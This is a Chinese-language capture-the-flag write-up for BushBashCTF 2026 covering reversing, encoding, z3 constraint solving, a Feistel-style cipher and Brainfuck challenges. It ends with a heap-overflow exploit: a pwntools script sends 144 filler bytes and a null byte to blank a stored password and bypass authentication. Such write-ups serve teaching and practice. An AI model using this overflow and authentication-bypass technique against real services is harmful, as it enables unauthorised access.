BushBashCTF 2026
Hack The Vault I
The jungle holds many secrets, some of them as dark as the night ruled by a laughing moon. Ever since the Moss Man committed his atrocious acts, the villagers slept with an eye open, while detective Kane searches for the taunting vaults he left behind. He wants to talk to you, he needs your help:
nc 34.40.133.67 7776.Author: Harold Gao
IDA打开 只有一个判断
__int64 __fastcall main(int a1, char **a2, char **a3)
{
setvbuf(stdin, nullptr, 2, 0);
setvbuf(stdout, nullptr, 2, 0);
setvbuf(stderr, nullptr, 2, 0);
sub_11C9();
if ( (unsigned int)sub_1233() )
{
puts(
"It worked. The clues he left behind makes me believe that this case is not over just yet. We will need to continue"
" our mission, and stop the Moss Man at all costs.");
sub_1342();
}
else
{
printf("Better luck next time.");
}
return 0;
}
进入1233
_BOOL8 sub_1233()
{
size_t n; // [rsp+0h] [rbp-120h]
size_t v2; // [rsp+8h] [rbp-118h]
char s[264]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v4; // [rsp+118h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("Enter the password: ");
fgets(s, 256, stdin);
v2 = strlen(s2);
n = strlen(s);
if ( n && s[n - 1] == 10 )
s[--n] = 0;
return v2 == n && strncmp(s, s2, n) == 0;
}
只有一个比较
.data:0000000000004068 s2 dq offset aTh3m0ssm4ni5h3
.data:0000000000004068 ; DATA XREF: sub_1233+49↑r
.data:0000000000004068 ; sub_1233:loc_12FC↑r
.data:0000000000004068 _data ends ; "th3M0ssM4ni5h3re,y0uc4ntcatchm3"
也就是
.rodata:0000000000002348 aTh3m0ssm4ni5h3 db 'th3M0ssM4ni5h3re,y0uc4ntcatchm3',0
获取flag
printf 'th3M0ssM4ni5h3re,y0uc4ntcatchm3\n' | nc 34.40.133.67 7776
flag
bushbash{th1s-is-just-th3-beginning!}
password
We’ve recovered a device with a usb port. We know the username is
admin and the password ispassword, but we just can’t log in. The info we received was a cobbled mess, maybe something’s missing?Connect to
nc 34.40.133.67 6768to access.Author: Eisverygoodletter
只有远程没有本地 nc连接输入发现无返回
➜ Q nc 34.40.133.67 6768
------------Waiting for username...admin
password
^C
然后再次尝试 无返回
➜ Q printf 'admin\rpassword\r' | nc 34.40.133.67 6768
------------Waiting for username...^C
然后看题目简介上面所说的usb端口 于是想着键盘的格式构造admin和password
常见 USB HID keyboard report 长度为 8 字节
[modifier][reserved][key1][key2][key3][key4][key5][key6]
每次按键之后还需要发送一次全 0 的 report 表示按键释放 否则接收端可能认为按键一直按着 再次尝试
➜ Q python3 - <<'PY' | nc 34.40.133.67 6768
import sys
codes = {
**{chr(ord('a') + i): 0x04 + i for i in range(26)},
"\n": 0x28,
}
def press(ch):
code = codes[ch]
sys.stdout.buffer.write(bytes([0x00, 0x00, code, 0, 0, 0, 0, 0]))
sys.stdout.buffer.write(bytes(8)) # release report
for ch in "admin\npassword\n":
press(ch)
sys.stdout.buffer.flush()
PY
------------Waiting for username...Bad account name%
然后发现 服务器接收了 但是没有正确解析我的用户名
后面又尝试了 9 字节 HID report 也就是带 report id 的格式
def write_report(code):
sys.stdout.buffer.write(bytes([0x00, 0x00, 0x00, code, 0, 0, 0, 0, 0]))
sys.stdout.buffer.write(bytes(9))
以及 report id 为 0x01 的版本
def write_report(code):
sys.stdout.buffer.write(bytes([0x01, 0x00, 0x00, code, 0, 0, 0, 0, 0]))
sys.stdout.buffer.write(bytes([0x01, 0, 0, 0, 0, 0, 0, 0, 0]))
但结果依旧是
Bad account name
说明这一题并不是HID键盘 而是另一种USB相关的通信格式 然后继续测试的时候 我们需要让服务端吐出更多错误信息 前面直接输入明文没有任何返回 说明服务端可能并不是按换行符来判断输入结束
于是可以尝试发送一些比较长的错误数据 看看服务端会不会报错
直接发 21 个 A
➜ Q python3 - <<'PY' | nc 34.40.133.67 6768
import sys
sys.stdout.buffer.write(b"A" * 21)
sys.stdout.buffer.flush()
PY
------------Waiting for username...oMore than 20 bytes received without sentinel value. Data is likely not encoded correctly. Stopping attempts...%
这里就出现了第一个关键点
sentinel value
意思是服务端一直在等一个“结束标记” 但是我们发了超过 20 字节还是没有等到 这说明服务端不是按 \n 或者 \r 结束 而是在等某个特殊字节作为一帧数据的结束符 然后再尝试发一些带 \x00 的数据
➜ Q python3 - <<'PY' | nc 34.40.133.67 6768
import sys
sys.stdout.buffer.write(b"\x62\x06admin\x00")
sys.stdout.buffer.flush()
PY
------------Waiting for username...Error occured during decoding'not enough input bytes for length code%
这里出现了第二个关键点
length code
说明服务端正在使用某种带长度码的编码格式来解析输入 到这里就可以把两个信息合起来看
sentinel value
length code
一种使用 sentinel 作为帧结束符 并且内部有 length code 的常见编码就是 COBS
也就是
Consistent Overhead Byte Stuffing
COBS 经常用于串口 USB CDC 嵌入式设备通信 它的特点是
使用 \x00 作为帧结束符
每一段数据前面有 length code
编码后的数据中间不会出现 \x00
所以这题不是普通文本登录 也不是 HID 键盘输入 而是需要把 admin 和 password 编码成 COBS 帧再发过去
➜ Q printf '\x06admin\x00\x09password\x00' | nc 34.40.133.67 6768 ------------Waiting for username...Waiting for password...#Your flag is bushbash{i_l0v3_C0bs}% ➜ Q
------------Waiting for username...Waiting for password...#Your flag is bushbash{i_l0v3_C0bs}%
flag
bushbash{i_l0v3_C0bs}
\langle\rangle\langle\rangle
Our agent only sends us messages via weird encodings. He’s having some sort of c++ obsession right now, so you’re going to have to figure out what these templates mean to get the flag.
Author: Eisverygoodletter
打开附件之后发现是一个 C++ 源码 里面没有常见的输入输出校验逻辑 而是大量模板定义和模板实例化
最开始可以看到几个模板结构
template<int index>
struct FlagValue;
template<int L, int R, typename = std::enable_if_t<L < R>>
struct Lt;
template<int L, int R, typename = std::enable_if_t<L <= R>>
struct Lteq;
template<int L, int R, typename = std::enable_if_t<L >= R>>
struct Gteq;
template<int L, int R, typename = std::enable_if_t<(L > R)>>
struct Gt;
template<int L, int R, typename = std::enable_if_t<(L % R) == 0>>
struct Divides;
这些模板看起来就是一些约束
Lt 小于
Lteq 小于等于
Gteq 大于等于
Gt 大于
Divides 整除
后面还有一个比较关键的 Equ
template<int c1, int c2, int t1, int v1, int v2, int v3, int v4, int v5,
typename = std::enable_if_t<c1 * v1 + c2 * v2 + t1 * v3 == v4 + v5>>
struct Equ;
这里可以看出 Equ 实际上是一个线性方程
c1 * v1 + c2 * v2 + t1 * v3 == v4 + v5
也就是说 如果这个等式不成立 模板实例化就会失败 继续往下看 可以看到一段提示
// oops it looks like somebody deleted the flag message. Can you figure out what
// it is?
FLAGMESSAGE(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,...)
这里的 FLAGMESSAGE 本来应该是用来保存 flag message 的 但是所有值都被改成了 0 再往下就是大量的约束
struct Solution {
using Constraint_0 = Equ<-19, -77, 88, FlagValue<0>::Value, FlagValue<1>::Value, FlagValue<4>::Value, FlagValue<91>::Value, FlagValue<191>::Value>;
using Constraint_1 = Equ<-13, 14, -4, FlagValue<0>::Value, FlagValue<1>::Value, FlagValue<4>::Value, FlagValue<7>::Value, FlagValue<95>::Value>;
using Constraint_2 = Lteq<FlagValue<5>::Value * 31, 3023>;
...
};
这里 FlagValue<i>::Value 就是每一位字符的 ASCII 值 比如
using Constraint_0 = Equ<-19, -77, 88,
FlagValue<0>::Value,
FlagValue<1>::Value,
FlagValue<4>::Value,
FlagValue<91>::Value,
FlagValue<191>::Value>;
对应的关系就是
-19 * FlagValue[0] - 77 * FlagValue[1] + 88 * FlagValue[4]
= FlagValue[91] + FlagValue[191]
所以这题本质上不是 C++ 运行题 而是一个约束求解题 题目把原来的 flag message 删除了 但是留下了很多针对每一位字符的限制 我们只需要把这些限制转成 z3 约束求解即可
先统计一下所有出现过的 FlagValue<i>
import re
code = open("chall.cpp", "r", encoding="utf-8").read()
idxs = [int(x) for x in re.findall(r"FlagValue<(\d+)>::Value", code)]
print(max(idxs) + 1)
输出
214
说明一共有 214 个字符 也就是
FlagValue[0] ~ FlagValue[213]
然后把每一位都设置成可打印 ASCII
for x in flag:
s.add(x >= 32)
s.add(x <= 126)
接着解析每一行 Constraint
约束类型主要有这几种
Lt -> <
Lteq -> <=
Gteq -> >=
Gt -> >
Divides -> %
Equ -> 线性方程
exp
import re
from z3 import *
filename = "chall.cpp"
with open(filename, "r", encoding="utf-8") as f:
code = f.read()
lines = [
line.strip()
for line in code.splitlines()
if "using Constraint_" in line
]
idxs = [int(x) for x in re.findall(r"FlagValue<(\d+)>::Value", code)]
n = max(idxs) + 1
print("[+] variable count:", n)
print("[+] constraint count:", len(lines))
flag = [Int(f"f_{i}") for i in range(n)]
s = Solver()
for x in flag:
s.add(x >= 32)
s.add(x <= 126)
def parse_expr(expr):
expr = expr.strip()
m = re.fullmatch(r"FlagValue<(\d+)>::Value\s*\*\s*(-?\d+)", expr)
if m:
return flag[int(m.group(1))] * int(m.group(2))
m = re.fullmatch(r"FlagValue<(\d+)>::Value", expr)
if m:
return flag[int(m.group(1))]
if re.fullmatch(r"-?\d+", expr):
return int(expr)
raise ValueError("unknown expression: " + expr)
for line in lines:
m = re.search(
r"Equ<\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*(-?\d+)\s*,"
r"\s*FlagValue<(\d+)>::Value\s*,"
r"\s*FlagValue<(\d+)>::Value\s*,"
r"\s*FlagValue<(\d+)>::Value\s*,"
r"\s*FlagValue<(\d+)>::Value\s*,"
r"\s*FlagValue<(\d+)>::Value\s*>",
line
)
if m:
c1 = int(m.group(1))
c2 = int(m.group(2))
t1 = int(m.group(3))
v1 = flag[int(m.group(4))]
v2 = flag[int(m.group(5))]
v3 = flag[int(m.group(6))]
v4 = flag[int(m.group(7))]
v5 = flag[int(m.group(8))]
s.add(c1 * v1 + c2 * v2 + t1 * v3 == v4 + v5)
continue
m = re.search(r"Divides<(.+),\s*(-?\d+)>", line)
if m:
left = parse_expr(m.group(1))
right = int(m.group(2))
s.add(left % right == 0)
continue
m = re.search(r"(Lt|Lteq|Gteq|Gt)<(.+),\s*(.+)>", line)
if m:
op = m.group(1)
left = parse_expr(m.group(2))
right = parse_expr(m.group(3))
if op == "Lt":
s.add(left < right)
elif op == "Lteq":
s.add(left <= right)
elif op == "Gteq":
s.add(left >= right)
elif op == "Gt":
s.add(left > right)
continue
raise ValueError("unparsed line: " + line)
print("[+] solving...")
if s.check() != sat:
print("[-] unsat")
exit()
model = s.model()
msg = "".join(chr(model[flag[i]].as_long()) for i in range(n))
print("[+] message:")
print(msg)
start = msg.find("bushbash{")
end = msg.find("}", start)
if start != -1 and end != -1:
print("[+] flag:")
print(msg[start:end + 1])
flag
bushbash{d1d_y0U_Us3_z3?}
\langle\rangle\langle\rangle\langle\rangle\langle\rangle\langle\rangle\langle\rangle\langle\rangle\langle\rangle
Our inside agent has sent us a coded message again.
The key is
[10, 21, 99, 4, 534, 24, 63, 57, 102, 38, 0, 123, 53, 674, 12, 57] and the encrypted message is[221, 75, 97, 125, 30, 124, 51, 122, 15, 186, 39, 46, 74, 175, 120, 83, 219, 165], whatever that means. He forgot to explain the encoding again. We’ve found a horribly obfuscated encryption implementation with lots of templates. I suppose antiviruses don’t pick this up because there’s nearly nothing in the compiled program. Can you figure out how the message was encrypted?Author: Eisverygoodletter
题目给了两个数组一个key 一个密文
key = [10, 21, 99, 4, 534, 24, 63, 57, 102, 38, 0, 123, 53, 674, 12, 57]
cipher = [221, 75, 97, 125, 30, 124, 51, 122, 15, 186, 39, 46, 74, 175, 120, 83, 219, 165]
然后题目说给了一个非常混淆的模板加密实现
We've found a horribly obfuscated encryption implementation with lots of templates.
所以思路就是先把模板代码还原成正常逻辑 再根据加密逻辑反推明文 附件解压之后有两个文件
先看 main.cpp
#include "<><><><><><>.hpp"
#include <iostream>
#include <stdio.h>
int main() {
for (int i = 0; i < 16; i++) {
std::cout << output[i] << ',';
}
std::cout << '\n';
return 0;
}
可以看到 main.cpp 里面几乎什么都没有 只是输出了 output 数组 真正的逻辑都在头文件里面 打开头文件之后 发现里面全是模板 最开始看到这种结构
template <int TFKN>
struct IDXV {
static constexpr int VWMN = TFKN;
};
template <typename KCJO, typename FTCO>
struct OWRC {
using EGXM = KCJO;
using LHQO = FTCO;
};
struct YVDD {};
这里可以先猜一下
IDXV<n> 表示整数 n
OWRC<a, b> 表示链表节点
YVDD 表示链表结尾
后面有一个 TWDL
template<typename DKMV, int FEHF>
struct TWDL;
template<typename KCJO, typename FTCO>
struct TWDL<OWRC<KCJO, FTCO>, 0> {
using NUQH = KCJO;
};
template<typename KCJO, typename FTCO, int FEHF>
struct TWDL<OWRC<KCJO, FTCO>, FEHF> {
using NUQH = typename TWDL<FTCO, FEHF - 1>::NUQH;
};
这个逻辑很明显是取链表第 n 个元素
TWDL<list, index> -> list[index]
继续看
template <typename JCVL, typename NUQH>
struct RCYK {
using NYUB = JCVL;
using LGZI = NUQH;
};
这个结构可以看作键值对
RCYK<name, value>
后面的 BJDC 是查找变量
template<typename OCWC, typename QGCB, typename TJLU, typename KUMJ>
struct BJDC<OCWC, OWRC<RCYK<OCWC, TJLU>, KUMJ>, QGCB> {
using NUQH = TJLU;
};
template<typename OCWC, typename CWYF, typename QGCB, typename KSCB, typename KUMJ>
struct BJDC<OCWC, OWRC<RCYK<CWYF, KSCB>, KUMJ>, QGCB> {
using NUQH = typename BJDC<OCWC, KUMJ, QGCB>::NUQH;
};
template<typename OCWC, typename QGCB>
struct BJDC<OCWC, YVDD, QGCB> {
using NUQH = QGCB;
};
也就是在环境链表里面找变量 如果没找到就返回默认值
BJDC<变量名, 环境, 默认值>
然后看到 XBGW 这一坨
template<typename QEEX, typename NIBK> struct XBGW;
这个可以看成表达式求值器
比如
struct EPMS;
template <typename RZVH, typename GFIL, typename NIBK>
struct XBGW<OWRC<EPMS, OWRC<RZVH, OWRC<GFIL, YVDD>>>, NIBK> {
using NUQH = IDXV<XBGW<RZVH, NIBK>::NUQH::VWMN + XBGW<GFIL, NIBK>::NUQH::VWMN>;
};
这里就是加法
EPMS -> +
类似地可以还原出
EPMS -> +
KZRJ -> *
RCOB -> %
QVTC -> ^
也就是
IEYF<EPMS, a, b> -> a + b
IEYF<KZRJ, a, b> -> a * b
IEYF<RCOB, a, b> -> a % b
IEYF<QVTC, a, b> -> a ^ b
还有一个 CFDD
struct CFDD;
template <typename DJSC, typename RHKC, typename NIBK>
struct XBGW<IEYF<CFDD, DJSC, RHKC>, NIBK> {
using NJNO = typename XBGW<RHKC, NIBK>::NUQH;
using ULMH = typename XBGW<DJSC, NIBK>::NUQH;
using JGNJ = typename TWDL<ULMH, NJNO::VWMN>::NUQH;
using NUQH = typename XBGW<JGNJ, NIBK>::NUQH;
};
这个就是数组取值
CFDD(list, index) -> list[index]
再看后面的 CWCE
template<typename UVBG, typename UYNP> struct CWCE;
这部分相当于执行语句
其中 JLLV 是赋值
template<typename FVCY, typename QEEX>
struct JLLV;
template<typename FVCY, typename QEEX, typename UYNP>
struct CWCE<JLLV<FVCY, QEEX>, UYNP> {
using OJTA = OWRC<RCYK<FVCY, typename XBGW<QEEX, UYNP>::NUQH>, UYNP>;
};
可以理解成
变量 = 表达式
JWTR 是把结果压入列表
template<typename FVCY, typename QEEX>
struct JWTR;
template<typename FVCY, typename QEEX, typename UYNP>
struct CWCE<JWTR<FVCY, QEEX>, UYNP> {
using IQYW = typename XBGW<OGYP<FVCY>, UYNP>::NUQH;
using YNMX = typename XBGW<QEEX, UYNP>::NUQH;
using OJTA = OWRC<RCYK<FVCY, OWRC<YNMX, IQYW>>, UYNP>;
};
可以理解成
变量 = [新值] + 原来的变量
KJAT 是顺序执行
KJAT<语句链表> -> 从前往后执行
HPFP 是循环执行指定次数
template<typename UVBG, int LXHT>
struct HPFP;
可以理解成
repeat n times
把这些模板都还原之后 就可以看真正的加密逻辑了
首先找到题目给出的 key
using GEUE = OWRC<IDXV<10>, OWRC<IDXV<21>, OWRC<IDXV<99>, OWRC<IDXV<4>, OWRC<IDXV<534>, OWRC<IDXV<24>, OWRC<IDXV<63>, OWRC<IDXV<57>, OWRC<IDXV<102>, OWRC<IDXV<38>, OWRC<IDXV<0>, OWRC<IDXV<123>, OWRC<IDXV<53>, OWRC<IDXV<674>, OWRC<IDXV<12>, OWRC<IDXV<57>, YVDD>>>>>>>>>>>>>>>>;
这个正好就是题目给的 key
[10, 21, 99, 4, 534, 24, 63, 57, 102, 38, 0, 123, 53, 674, 12, 57]
然后看到
// This is where the flag should go if you were encrypting it.
using KVRP = OWRC<IDXV<0>, OWRC<IDXV<0>, ...>>;
这里就是如果要加密 flag 的话 flag 应该放的位置 但是附件里面全部填的是 0
继续看主逻辑 TFGD
大概结构如下
DLHK = 0
repeat 9 times:
RLGL = AWNQ[DLHK]
FNHJ = AWNQ[DLHK + 1]
IZUF
AXEK.push(RLGL)
AXEK.push(FNHJ)
DLHK = DLHK + 2
因为 encrypted message 长度是 18 所以这里每次处理两个字节 一共处理 9 组
也就是说它是一个分组加密 每组两个数
接下来分析最核心的 IZUF
整理之后大概是
DLHK = 0
repeat 16 times:
SMSW = WYUQ[DLHK]
SMSW = SMSW * WVTF + WVTF
ARVM = FNHJ
QFKV = RLGL ^ ZCHU
RLGL = ARVM
FNHJ = QFKV
DLHK = DLHK + 1
WVTF = WVTF + RLGL + FNHJ
其中 ZCHU 定义为
using ZCHU = IEYF<RCOB,
IEYF<KZRJ,
IEYF<EPMS, OGYP<FNHJ>, OGYP<SMSW>>,
IDXV<17>
>,
IDXV<135>
>;
翻译成正常表达式就是
ZCHU = ((FNHJ + SMSW) * 17) % 135
所以每一轮的操作就是
SMSW = key[i] * WVTF + WVTF
ZCHU = ((FNHJ + SMSW) * 17) % 135
new_RLGL = FNHJ
new_FNHJ = RLGL ^ ZCHU
也可以写成更好理解的形式
subkey = (key[i] + 1) * WVTF
f = ((right + subkey) * 17) % 135
left, right = right, left ^ f
这其实就是一个很像 Feistel 的结构
每两位明文作为一组
left, right
然后跑 16 轮
每组加密完成之后 还会更新 WVTF
WVTF = WVTF + left + right
初始值为
WVTF = 1
所以加密伪代码可以写成
key = [10, 21, 99, 4, 534, 24, 63, 57, 102, 38, 0, 123, 53, 674, 12, 57]
def enc_pair(left, right, w):
for k in key:
subkey = (k + 1) * w
f = ((right + subkey) * 17) % 135
left, right = right, left ^ f
return left, right
w = 1
out = []
for i in range(0, len(plain), 2):
left = plain[i]
right = plain[i + 1]
left, right = enc_pair(left, right, w)
out.append(left)
out.append(right)
w = w + left + right
题目给的是密文 所以需要把这个过程反过来 因为这是 Feistel 结构 反解很简单 加密时每一轮是
new_left = right
new_right = left ^ f(right)
所以解密时倒着跑 key
old_right = new_left
old_left = new_right ^ f(old_right)
exp
key = [10, 21, 99, 4, 534, 24, 63, 57, 102, 38, 0, 123, 53, 674, 12, 57]
enc = [221, 75, 97, 125, 30, 124, 51, 122, 15, 186, 39, 46, 74, 175, 120, 83, 219, 165]
def f(right, k, w):
subkey = (k + 1) * w
return ((right + subkey) * 17) % 135
def dec_pair(left, right, w):
for k in reversed(key):
old_right = left
old_left = right ^ f(old_right, k, w)
left, right = old_left, old_right
return left, right
w = 1
plain = []
for i in range(0, len(enc), 2):
left = enc[i]
right = enc[i + 1]
p1, p2 = dec_pair(left, right, w)
plain.append(p1)
plain.append(p2)
# 注意这里更新 WVTF 用的是密文对
# 因为加密结束后 WVTF = WVTF + 加密后的 left + 加密后的 right
w = w + left + right
msg = bytes(plain).decode()
print(msg)
print("bushbash{" + msg + "}")
flag
bushbash{ma5B3_sf1NAe_neXt?}
Turned Around
it seems one of our devices has had some odd piece of malware installed on it! In order to fix it we need access to root which has had its password changed… We believe the hacker may have left the password within this code somewhere-
Flag format is
bushbash{password}Author: Vals
附件给了一个 turnedaround.bf
看到后缀是 .bf 基本可以判断是 Brainfuck
先直接运行一下
from pathlib import Path
code = Path("turnedaround.bf").read_text()
def build_jump(code):
stack = []
jump = {}
for i, c in enumerate(code):
if c == "[":
stack.append(i)
elif c == "]":
j = stack.pop()
jump[i] = j
jump[j] = i
return jump
def run(code):
jump = build_jump(code)
tape = [0] * 30000
ptr = 0
ip = 0
out = []
while ip < len(code):
c = code[ip]
if c == ">":
ptr += 1
elif c == "<":
ptr -= 1
elif c == "+":
tape[ptr] = (tape[ptr] + 1) & 0xff
elif c == "-":
tape[ptr] = (tape[ptr] - 1) & 0xff
elif c == ".":
out.append(tape[ptr])
elif c == "[":
if tape[ptr] == 0:
ip = jump[ip]
elif c == "]":
if tape[ptr] != 0:
ip = jump[ip]
ip += 1
return bytes(out)
print(run(code).decode())
运行之后只输出了一段诱饵
Nice try! Unfortunately it's not that easy...
说明正常执行流里面没有 flag
然后回去看文件名
turnedaround.bf
turned around 有反过来 转过去的意思
再结合 Brainfuck 的特性
[ 如果当前 cell 是 0 就跳到匹配的 ] 后面
] 如果当前 cell 不是 0 就跳回匹配的 [
Brainfuck 的 tape 初始值全是 0
所以如果代码里面有这种结构
[...]
并且进入 [ 的时候当前 cell 是 0 那么中间这段代码就会被直接跳过 也就是说 一些真正有用的输出可能被藏在正常执行不会进入的分支里面 于是写脚本枚举所有 [ ] 匹配的循环块 然后强行让当前 cell 不为 0 再从这个循环开始执行 看看能不能打印出可读字符串
脚本如下
from pathlib import Path
code = Path("turnedaround.bf").read_text()
def build_jump(code):
stack = []
jump = {}
for i, c in enumerate(code):
if c == "[":
stack.append(i)
elif c == "]":
j = stack.pop()
jump[i] = j
jump[j] = i
return jump
jump = build_jump(code)
loops = []
for i, c in enumerate(code):
if c == "[":
loops.append((i, jump[i]))
def run_from(start, max_steps=1000000):
tape = [0] * 30000
ptr = 0
ip = start
out = []
steps = 0
# 关键点
# 正常情况下 cell 为 0 会直接跳过循环
# 这里强制改成 1 让隐藏分支执行
tape[ptr] = 1
while 0 <= ip < len(code) and steps < max_steps:
c = code[ip]
if c == ">":
ptr += 1
elif c == "<":
ptr -= 1
elif c == "+":
tape[ptr] = (tape[ptr] + 1) & 0xff
elif c == "-":
tape[ptr] = (tape[ptr] - 1) & 0xff
elif c == ".":
out.append(tape[ptr])
elif c == "[":
if tape[ptr] == 0:
ip = jump[ip]
elif c == "]":
if tape[ptr] != 0:
ip = jump[ip]
ip += 1
steps += 1
if ptr < 0 or ptr >= len(tape):
break
return bytes(out)
def printable(bs):
if not bs:
return False
cnt = 0
for b in bs:
if 32 <= b <= 126 or b in (10, 13):
cnt += 1
return cnt / len(bs) > 0.9
for start, end in loops:
block = code[start:end + 1]
if "." not in block:
continue
out = run_from(start)
if printable(out):
print("=" * 60)
print("start =", start, "end =", end)
print(out.decode("latin1", errors="replace"))
跑完之后发现除了正常诱饵以外 还有两个比较关键的隐藏输出
第一个隐藏输出是
Core Dumped! Recovered partial password: (d0Ub13*_______
这里直接泄露了 password 的前半部分
(d0Ub13*_______
可以看出前 8 位是已知的
(d0Ub13*
后面的 _ 是未知部分
继续看另一个隐藏输出
TODO: Remove this note where I hide half my hidden password: ________-*b4ck!
这里泄露了 password 的后半部分
________-*b4ck!
可以看出前 8 位是未知的 后 7 位是已知的
-*b4ck!
把两段放在一起对齐
(d0Ub13*_______
________-*b4ck!
逐位合并
(d0Ub13*-*b4ck!
所以恢复出的 password 是
(d0Ub13*-*b4ck!
题目要求 flag 格式是
bushbash{password}
所以最终 flag 为
bushbash{(d0Ub13*-*b4ck!}
总结一下 这一题不是直接运行 Brainfuck 拿 flag 正常执行只会输出诱饵
Nice try! Unfortunately it's not that easy...
真正的 password 被藏在正常执行不会进入的 [...] 分支里
因为 Brainfuck 的初始 tape 全是 0 所以这些分支会被 [ 直接跳过
所以需要枚举循环块 并强制进入这些隐藏分支 从输出中恢复两段 password
最后拼接得到
(d0Ub13*-*b4ck!
flag
bushbash{(d0Ub13*-*b4ck!}
mystery server I
We’ve found a mystery server communicating through some unknown protocol. Can you reverse engineer this client side binary and read the flag from the server?
This challenge chains into a harder challenge. If you accidentally get their flags first, you should still submit the flags to their corresponding challenge (it will be very obvious which corresponds to which). You will have to beat this challenge first before submitting flags for the other.
nc 34.40.133.67 6767Author: Eisverygoodletter
这一题给了一个客户端二进制 client,还有远程服务
nc 34.40.133.67 6767
先运行客户端看一下支持的功能
➜ Downloads ./client
One of the following subcommands must be present:
help
store
echo
read
readflag
Run client --help for more information.
继续测试几个命令
➜ Downloads ./client echo --message ping
ping%
输出里能看到
ping
再测试 store
➜ Downloads ./client store --message test
test%
输出里能看到
test
但是测试 read 时
➜ Downloads ./client read --index 0
➜ Downloads
看起来没有输出
这里并不是程序没有生成数据 而是因为 client 输出的是二进制协议包 里面有很多不可见字节 所以终端看不到
可以用 xxd 查看
➜ Downloads ./client read --index 0 | xxd
00000000: 0218 0100 ....
➜ Downloads
能够看到它确实输出了编码后的数据
也就是说这个 client 不是直接连接远程服务器的程序 它只是把命令编码成协议包 然后输出到 stdout
如果要和远程通信 需要把输出 pipe 给 nc
➜ Downloads ./client echo --message ping | nc 34.40.133.67 6767 | strings
ping
但是 readflag 不能直接用
➜ Downloads ./client readflag
thread 'main' (530) panicked at client/src/main.rs:73:13:
not yet implemented: Implement encode flag reading
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
说明客户端里虽然有 readflag 这个命令 但是作者故意没有实现对应的编码逻辑 所以需要手动构造 readflag 的协议包 通过逆向 protobuf 结构可以知道 read_flag 是第 4 个字段
ReadFlag read_flag = 4
message 类型的 wire type 是 2 所以 protobuf tag 是
4 << 3 | 2 = 0x22
ReadFlag 是空 message 所以长度是 0 因此原始 protobuf 是
22 00
客户端发送数据时还会经过 COBS 编码 并用 00 作为结束符 所以 22 00 编码后是
02 22 01 00
➜ Q printf '\x02\x22\x01\x00' | nc 34.40.133.67 6767
u
rYour flag is bushbashctf{n0w_d0_t5e_oth4r_tw0}. You should submit this flag to the first mystery-server challenge.
flag
bushbash{n0w_d0_t5e_oth4r_tw0}
Hack The Vault III
Oh dear, a message from Moss Man, quick! Check it out!
“I will not fall for your hacker shenanighans again! I’ve got the best cybersecurity experts in my team to make the next vault, don’t even try to find my little secrets, it will not work.”
Connect to
34.40.133.67 with port6002Author: Harold Gao
简单堆溢出
chunk 结构如下
struct chunk {
long size;
long free;
struct chunk *next;
char data[];
};
初始化时程序会在堆上申请三个 chunk 前两个 chunk 处于 free 状态 第三个 chunk 用来保存 password 第一次执行 write 时会复用第一个 free chunk 但是 allocator 复用 free chunk 时没有检查 size 是否足够 因此可以向第一个 chunk 写入超长数据
第一个 chunk 的 data 到 password 的距离是 144 字节 只要覆盖 password 的第一个字节为 0 password 就会变成空字符串 之后执行 auth 并直接输入空行即可认证成功
利用脚本如下
from pwn import *
p = remote("34.40.133.67", 6002)
p.sendline(b"write")
p.sendline(b"A" * 144 + b"\x00")
p.sendline(b"auth")
p.sendline(b"")
p.interactive()
flag
bushbash{th1rd-times-th3-chArM!}
评论